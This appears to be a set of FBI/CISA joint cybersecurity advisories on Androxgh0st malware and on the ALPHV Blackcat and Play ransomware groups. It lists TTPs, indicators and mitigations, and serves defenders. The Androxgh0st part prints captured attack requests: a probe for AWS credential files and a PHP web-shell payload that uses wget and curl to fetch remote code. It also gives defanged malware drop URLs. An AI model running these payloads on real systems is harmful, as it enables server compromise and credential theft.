• /phpunit/Util/PHP/eval-stdin.php%20/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php.dev
• /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
• /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php%20/vendor/phpunit/src/Util/PHP/eval-stdin.php
• /vendor/phpunit/src/Util/PHP/eval-stdin.php
• /vendor/phpunit/Util/PHP/eval-stdin.php
• /vendor/phpunit/Util/PHP/eval-stdin.php%20
• /phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

An example of attempted credential exfiltration through (honeypot) open proxies:

POST /.aws/credentials HTTP/1.1
host: www.example.com
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
accept-encoding: gzip, deflate
accept: */*
connection: keep-alive
content-length: 20
content-type: application/x-www-form-urlencoded

0x%5B%5D=androxgh0st

An example of attempted web-shell drop through (honeypot) open proxies:

GET http://www.example.com/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
host: www.example.com
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.1938.76
accept-encoding: gzip, deflate
accept: */*
connection: keep-alive
x-forwarded-for: 200.172.238.135
content-length: 279

<?php file_put_contents('evil.php',file_get_contents('hxxps://mc.rockylinux[.]si/seoforce/triggers/files/evil.txt')); system('wget hxxps://mc.rockylinux[.]si/seoforce/triggers/files/evil.txt -O evil.php;curl hxxps://mc.rockylinux[.]si/seoforce/triggers/files/evil.txt -O evil.php'); ?>

Monikers used instead of Androxgh0st (0x%5B%5D=???):

• Ridho
• Aws
• 0x_0x
• x_X
• nopebee7
• SMTPEX
• evileyes0
• privangga
• drcrypter
• errorcool
• drosteam
• androxmen
• crack3rz
• b4bbyghost
• 0x0day
• janc0xsec
• blackb0x
• 0x1331day
• Graber

Example malware drops through eval-stdin.php:

hxxps://mc.rockylinux[.]si/seoforce/triggers/files/evil.txt
59e90be75e51c86b4b9b69dcede2cf815da5a79f7e05cac27c95ec35294151f4

hxxps://chainventures.co[.]uk/.well-known/aas
dcf8f640dd7cc27d2399cce96b1cf4b75e3b9f2dfdf19cee0a170e5a6d2ce6b6

hxxp://download.asyncfox[.]xyz/download/xmrig.x86_64
23fc51fde90d98daee27499a7ff94065f7ed4ac09c22867ebd9199e025dee066

hxxps://pastebin[.]com/raw/zw0gAmpC
ca45a14d0e88e4aa408a6ac2ee3012bf9994b16b74e3c66b588c7eabaaec4d72

hxxp://raw.githubusercontent[.]com/0x5a455553/MARIJUANA/master/MARIJUANA.php
0df17ad20bf796ed549c240856ac2bf9ceb19f21a8cae2dbd7d99369ecd317ef

hxxp://45.95.147[.]236/tmp.x86_64
6b5846f32d8009e6b54743d6f817f0c3519be6f370a0917bf455d3d114820bbc

hxxp://main.dsn[.]ovh/dns/pwer
bb7070cbede294963328119d1145546c2e26709c5cea1d876d234b991682c0b7

hxxp://tangible-drink.surge[.]sh/configx.txt
de1114a09cbab5ae9c1011ddd11719f15087cc29c8303da2e71d861b0594a1ba

MITRE ATT&CK TACTICS AND TECHNIQUES

See Tables 1-10 for all referenced threat actor tactics and techniques in this advisory.

MITIGATIONS

The FBI and CISA recommend implementing the mitigations below to improve your organization’s cybersecurity posture based on Androxgh0st threat actor activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

These mitigations apply to all critical infrastructure organizations and network defenders. FBI and CISA recommend that software manufacturers incorporate secure by design principles and tactics into their software development practices, limiting the impact of actor techniques and strengthening their customers’ security posture. For more information on secure by design, see CISA’s Secure by Design webpage.

The FBI and CISA recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by actors using Androxgh0st malware.

• Keep all operating systems, software, and firmware up to date. Specifically, ensure that Apache servers are not running versions 2.4.49 or 2.4.50. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Prioritize patching known exploited vulnerabilities in internet-facing systems.
• Verify that the default configuration for all URIs is to deny all requests unless there is a specific need for it to be accessible.
• Ensure that any live Laravel applications are not in “debug” or testing mode. Remove all cloud credentials from .env files and revoke them. All cloud providers have safer ways to provide temporary, frequently rotated credentials to code running inside a web server without storing them in any file.
• On a one-time basis for previously stored cloud credentials, and on an on-going basis for other types of credentials that cannot be removed, review any platforms or services that have credentials listed in the .env file for unauthorized access or use.
• Scan the server’s file system for unrecognized PHP files, particularly in the root directory or /vendor/phpunit/phpunit/src/Util/PHP folder.
• Review outgoing GET requests (via cURL command) to file hosting sites such as GitHub, pastebin, etc., particularly when the request accesses a .php file.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, FBI and CISA recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Tables 1-10).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

FBI and CISA recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

REPORTING

The FBI encourages organizations to report information concerning suspicious or criminal activity to their local FBI field office. With regards to specific information that appears in this CSA, indicators should always be evaluated in light of an organization’s complete security situation.

When available, each report submitted should include the date, time, location, type of activity, number of people, and type of equipment used for the activity, the name of the submitting company or organization, and a designated point of contact. Reports can be submitted to the FBI Internet Crime Complaint Center (IC3), a local FBI Field Office, or to CISA via its Incident Reporting System or its 24/7 Operations Center at report@cisa.gov or by calling 1-844-Say-CISA (1-844-729-2472).

RESOURCES

• CISA: Known Exploited Vulnerabilities Catalog
• CISA, MITRE: Best Practices for MITRE ATT&CK Mapping
• CISA: Decider Tool
• NIST: CVE-2017-9841
• NIST: CVE-2018-15133
• NIST: CVE-2021-41773
• CISA: Cross-Sector Cybersecurity Performance Goals
• CISA: Secure by Design

REFERENCES

1. Fortinet - FortiGuard Labs: Threat Signal Report: AndroxGh0st Malware Actively Used in the Wild

ACKNOWLEDGEMENTS

Amazon contributed to this CSA.

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. FBI and CISA do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and CISA.

VERSION HISTORY

January 16, 2024: Initial version.

SUMMARY

Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Department of Health and Human Services (HHS) are releasing this joint CSA to disseminate known IOCs and TTPs associated with the ALPHV Blackcat ransomware as a service (RaaS) identified through FBI investigations as recently as February 2024.

This advisory provides updates to the FBI FLASH BlackCat/ALPHV Ransomware Indicators of Compromise released April 19, 2022, and to this advisory released December 19, 2023. ALPHV Blackcat actors have since employed improvised communication methods by creating victim-specific emails to notify of the initial compromise. Since mid-December 2023, of the nearly 70 leaked victims, the healthcare sector has been the most commonly victimized. This is likely in response to the ALPHV Blackcat administrator’s post encouraging its affiliates to target hospitals after operational action against the group and its infrastructure in early December 2023.

FBI, CISA, and HHS encourage critical infrastructure organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ALPHV Blackcat ransomware and data extortion incidents.

In February 2023, ALPHV Blackcat administrators announced the ALPHV Blackcat Ransomware 2.0 Sphynx update, which was rewritten to provide additional features to affiliates, such as better defense evasion and additional tooling. This ALPHV Blackcat update has the capability to encrypt both Windows and Linux devices, and VMWare instances. ALPHV Blackcat affiliates have extensive networks and experience with ransomware and data extortion operations.

Download the PDF version of this report:

For a downloadable copy of IOCs, see:

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK^® for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

ALPHV Blackcat affiliates use advanced social engineering techniques and open source research on a company to gain initial access. Actors pose as company IT and/or helpdesk staff and use phone calls or SMS messages [T1598] to obtain credentials from employees to access the target network [T1586]. ALPHV Blackcat affiliates use uniform resource locators (URLs) to live-chat with victims to convey demands and initiate processes to restore the victims’ encrypted files.

After gaining access to a victim network, ALPHV Blackcat affiliates deploy remote access software such as AnyDesk, Mega sync, and Splashtop in preparation of data exfiltration. ALPHV Blackcat affiliates create a user account, “aadmin,” and use Kerberos token generation for domain access [T1558]. After gaining access to networks, they use legitimate remote access and tunneling tools, such as Plink and Ngrok [S0508]. ALPHV Blackcat affiliates claim to use Brute Ratel C4 [S1063] and Cobalt Strike [S1054] as beacons to command and control servers. ALPHV Blackcat affiliates use the open source adversary-in-the-middle attack [T1557] framework Evilginx2, which allows them to obtain multifactor authentication (MFA) credentials, login credentials, and session cookies. The actors also obtain passwords from the domain controller, local network, and deleted backup servers to move laterally throughout the network [T1555].

To evade detection, affiliates employ allowlisted applications such as Metasploit. Once installed on the domain controller, the logs are cleared on the exchange server. Then Mega.nz or Dropbox are used to move, exfiltrate, and/or download victim data. The ransomware is then deployed, and the ransom note is embedded as a file.txt. According to public reporting, affiliates have additionally used POORTRY and STONESTOP to terminate security processes.

Some ALPHV Blackcat affiliates exfiltrate data after gaining access and extort victims without deploying ransomware. After exfiltrating and/or encrypting data, ALPHV Blackcat affiliates communicate with victims via TOR [S0183], Tox, email, or encrypted applications. The threat actors then delete victim data from the victim’s system.

ALPHV Blackcat affiliates offer to provide unsolicited cyber remediation advice as an incentive for payment, offering to provide victims with “vulnerability reports” and “security recommendations” detailing how they penetrated the system and how to prevent future re-victimization upon receipt of ransom payment. The ALPHV Blackcat encryptor results in a file with the following naming convention: RECOVER-(seven-digit extension) FILES.txt.

INDICATORS OF COMPROMISE (IOCs)

MITRE ATT&CK TACTICS AND TECHNIQUES

See Table 5 through Table 7 for all referenced threat actor tactics and techniques in this advisory.

INCIDENT RESPONSE

If compromise is detected, organizations should:

1. Quarantine or take offline potentially affected hosts.
2. Reimage compromised hosts.
3. Provision new account credentials.
4. Collect and review artifacts such as running processes/services, unusual authentications, and recent network connections.
5. Report the compromise or phishing incident to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870). State, local, tribal, or territorial government entities can also report to MS-ISAC (SOC@cisecurity.org or 866-787-4722).
6. To report spoofing or phishing attempts (or to report that you’ve been a victim), file a complaint with the FBI’s Internet Crime Complaint Center (IC3), or contact your local FBI Field Office to report an incident.

MITIGATIONS

These mitigations apply to all critical infrastructure organizations and network defenders. FBI, CISA, and HHS recommend that software manufactures incorporate secure by design principles and tactics into their software development practices limiting the impact of ransomware techniques, thus, strengthening the security posture for their customers.

For more information on secure by design, see CISA’s Secure by Design webpage and joint guide.

FBI, CISA, and HHS recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on threat actor activity and to reduce the risk of compromise by ALPHV Blackcat threat actors. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections. Due to the threat ALPHV Blackcat’s poses in the healthcare sector, healthcare organizations can look to the Healthcare and Public Health (HPH) Sector Cybersecurity Performance Goals to implement cybersecurity protections against the most common threats. tactics, techniques, and procedures used against this sector.

• Secure remote access tools by:
  • Implementing application controls to manage and control execution of software, including allowlisting remote access programs. Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
  • Applying recommendations in CISA's joint Guide to Securing Remote Access Software.
• Implementing FIDO/WebAuthn authentication or Public key Infrastructure (PKI)-based MFA [CPG 2.H][HPH CPG – Multifactor Authentication]. These MFA implementations are resistant to phishing and not susceptible to push bombing or SIM swap attacks, which are techniques known be used by ALPHV Blackcat affiliates. See CISA’s Fact Sheet Implementing Phishing-Resistant MFA for more information.
• Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting ransomware, implement a tool that logs and reports all network traffic [CPG 5.1][HPH CPG – Detect and Respond to Relevant Threats and Tactics, Techniques and Procedures], including lateral movement activity on a network. Endpoint detection and response (EDR) tools are useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.
• Implement user training on social engineering and phishing attacks [CPG 2.I][HPH CPG – Basic Cybersecurity Training]. Regularly educate users on identifying suspicious emails and links, not interacting with those suspicious items, and the importance of reporting instances of opening suspicious emails, links, attachments, or other potential lures.
• Implement internal mail and messaging monitoring. Monitoring internal mail and messaging traffic to identify suspicious activity is essential as users may be phished from outside the targeted network or without the knowledge of the organizational security team. Establish a baseline of normal network traffic and scrutinize any deviations.
• Implement free security tools to prevent cyber threat actors from redirecting users to malicious websites to steal their credentials. For more information see, CISA’s Free Cybersecurity Services and Tools webpage.
• Install and maintain antivirus software. Antivirus software recognizes malware and protects your computer against it. Installing antivirus software from a reputable vendor is an important step in preventing and detecting infections. Always visit vendor sites directly rather than clicking on advertisements or email links. Because attackers are continually creating new viruses and other forms of malicious code, it is important to keep your antivirus software up to date.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, CISA recommends exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Tables 1-3).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA and FBI recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

• Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts.
• Resource to reduce the risk of a ransomware attack: #StopRansomware Guide.
• No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware Readiness Assessment.
• Health and Human Services HPH Cybersecurity Gateway hosts the HPH CPGs and links to HHS cybersecurity resources.

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. FBI, CISA, and HHS do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI, CISA, and HHS.

VERSION HISTORY

December 19, 2023: Initial version.

February 27, 2024: Update.

SUMMARY

Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and Australian Signals Directorate’s Australian Cyber Security Centre (ASD's ACSC) are releasing this joint CSA to disseminate the Play ransomware group’s IOCs and TTPs identified through FBI investigations as recently as October 2023.

Since June 2022, the Play (also known as Playcrypt) ransomware group has impacted a wide range of businesses and critical infrastructure in North America, South America, and Europe. As of October 2023, the FBI was aware of approximately 300 affected entities allegedly exploited by the ransomware actors.

In Australia, the first Play ransomware incident was observed in April 2023, and most recently in November 2023.

The Play ransomware group is presumed to be a closed group, designed to “guarantee the secrecy of deals,” according to a statement on the group’s data leak website. Play ransomware actors employ a double-extortion model, encrypting systems after exfiltrating data. Ransom notes do not include an initial ransom demand or payment instructions, rather, victims are instructed to contact the threat actors via email.

The FBI, CISA, and ASD’s ACSC encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents. This includes requiring multifactor authentication, maintaining offline backups of data, implementing a recovery plan, and keeping all operating systems, software, and firmware up to date.

Download a PDF version of this report:

For a downloadable copy of IOCs, see:

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK^® for Enterprise framework, version 14. See the MITRE ATT&CK for Enterprise section for all referenced tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Initial Access

The Play ransomware group gains initial access to victim networks through the abuse of valid accounts [T1078] and exploitation of public-facing applications [T1190], specifically through known FortiOS (CVE-2018-13379 and CVE-2020-12812) and Microsoft Exchange (ProxyNotShell [CVE-2022-41040 and CVE-2022-41082]) vulnerabilities. Play ransomware actors have been observed to use external-facing services [T1133] such as Remote Desktop Protocol (RDP) and Virtual Private Networks (VPN) for initial access.

Discovery and Defense Evasion

Play ransomware actors use tools like AdFind to run Active Directory queries [TA0007] and Grixba [1], an information-stealer, to enumerate network information [T1016] and scan for anti-virus software [T1518.001]. Actors also use tools like GMER, IOBit, and PowerTool to disable anti-virus software [T1562.001] and remove log files [T1070.001]. In some instances, cybersecurity researchers have observed Play ransomware actors using PowerShell scripts to target Microsoft Defender.[2]

Lateral Movement and Execution

Play ransomware actors use command and control (C2) applications, including Cobalt Strike and SystemBC, and tools like PsExec, to assist with lateral movement and file execution. Once established on a network, the ransomware actors search for unsecured credentials [T1552] and use the Mimikatz credential dumper to gain domain administrator access [T1003]. According to open source reporting [2], to further enumerate vulnerabilities, Play ransomware actors use Windows Privilege Escalation Awesome Scripts (WinPEAS) [T1059] to search for additional privilege escalation paths. Actors then distribute executables [T1570] via Group Policy Objects [T1484.001].

Exfiltration and Encryption

Play ransomware actors often split compromised data into segments and use tools like WinRAR to compress files [T1560.001] into .RAR format for exfiltration. The actors then use WinSCP to transfer data [T1048] from a compromised network to actor-controlled accounts. Following exfiltration, files are encrypted [T1486] with AES-RSA hybrid encryption using intermittent encryption, encrypting every other file portion of 0x100000 bytes. [3] (Note: System files are skipped during the encryption process.) A .play extension is added to file names and a ransom note titled ReadMe[.]txt is placed in file directory C:.

Impact

The Play ransomware group uses a double-extortion model [T1657], encrypting systems after exfiltrating data. The ransom note directs victims to contact the Play ransomware group at an email address ending in @gmx[.]de. Ransom payments are paid in cryptocurrency to wallet addresses provided by Play actors. If a victim refuses to pay the ransom demand, the ransomware actors threaten to publish exfiltrated data to their leak site on the Tor network ([.]onion URL).

Leveraged Tools

Table 1 lists legitimate tools Play ransomware actors have repurposed for their operations. The legitimate tools listed in this product are all publicly available. Use of these tools and applications should not be attributed as malicious without analytical evidence to support they are used at the direction of, or controlled by, threat actors.

Indicators of Compromise

See Table 2 for Play ransomware IOCs obtained from FBI investigations as of October 2023.

MITRE ATT&CK TACTICS AND TECHNIQUES

See Table 3–Table 11 for all referenced threat actor tactics and techniques in this advisory.

MITIGATIONS

These mitigations apply to all critical infrastructure organizations and network defenders. The FBI, CISA, and ASD’s ACSC recommend that software manufacturers incorporate secure-by-design and -default principles and tactics into their software development practices to limit the impact of ransomware techniques (such as threat actors leveraging backdoor vulnerabilities into remote software systems), thus, strengthening the security posture for their customers.

For more information on secure by design, see CISA’s Secure by Design and Default webpage and joint guide.

The FBI, CISA, and ASD’s ACSC recommend organizations apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Play ransomware. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

• Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers [CPG 2.F, 2.R, 2.S] in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud).
• Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with NIST’s standards for developing and managing password policies [CPG 2.C].
  • Use longer passwords consisting of at least 8 characters and no more than 64 characters in length [CPG 2.B];
  • Store passwords in hashed format using industry-recognized password managers;
  • Add password user “salts” to shared login credentials;
  • Avoid reusing passwords;
  • Implement multiple failed login attempt account lockouts [CPG 2.G];
  • Disable password “hints”;
  • Refrain from requiring password changes more frequently than once per year.
    
    Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.
  • Require administrator credentials to install software.
• Require multifactor authentication [CPG 2.H] for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems. Also see Protect Yourself: Multi-Factor Authentication | Cyber.gov.au.
• Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E]. Organizations are advised to deploy the latest Microsoft Exchange security updates. If unable to patch, then disable Outlook Web Access (OWA) until updates are able to be undertaken. Also see Patching Applications and Operating Systems | Cyber.gov.au.
• Segment networks [CPG 2.F] to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement. Also see Implementing Network Segmentation and Segregation.
• Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network [CPG 1.E]. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.
• Filter network traffic by preventing unknown or untrusted origins from accessing remote services on internal systems. This prevents actors from directly connecting to remote access services they have established for persistence. Also see Inbound Traffic Filtering – Technique D3-ITF.
• Install, regularly update, and enable real time detection for antivirus software on all hosts.
• Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts [CPG 1.A, 2.O].
• Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege [CPG 2.E].
• Disable unused ports [CPG 2.V].
• Consider adding an email banner to emails [CPG 2.M] received from outside your organization.
• Disable hyperlinks in received emails.
• Implement time-based access for accounts set at the admin level and higher. For example, the just-in-time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task.
• Disable command-line and scripting activities and permissions. Privileged escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally [CPG 2.E].
• Maintain offline backups of data and regularly maintain backup and restoration [CPG 2.R]. By instituting this practice, an organization ensures they will not be severely interrupted, and/or only have irretrievable data.
• Ensure backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 2.K].

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, the FBI, CISA, and ASD’s ACSC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The FBI, CISA, and ASD’s ACSC recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Tables 3-11).
2. Align your security technologies against this technique.
3. Test your technologies against this technique.
4. Analyze your detection and prevention technologies performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The FBI, CISA, and ASD’s ACSC recommend continually testing your security program at scale and in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

• Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts.
• Resource to mitigate a ransomware attack: #StopRansomware Guide.
• No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware Readiness Assessment.

REPORTING

The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with Play ransomware actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.

The FBI, CISA, and ASD’s ACSC do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to a local FBI Field Office, the FBI’s Internet Crime Complaint Center (IC3), or CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870).

Australian organizations that have been impacted or require assistance in regard to a ransomware incident can contact ASD's ACSC via 1300 CYBER1 (1300 292 371), or by submitting a report to cyber.gov.au.

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. CISA and the FBI do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA or the FBI.

REFERENCES

[1] Symantec: Play Ransomware Group Using New Custom Data-Gathering Tools

[2] TrendMicro: Play Ransomware Spotlight

[3] SentinelLabs: Ransomware Developers Turn to Intermittent Encryption to Evade Detection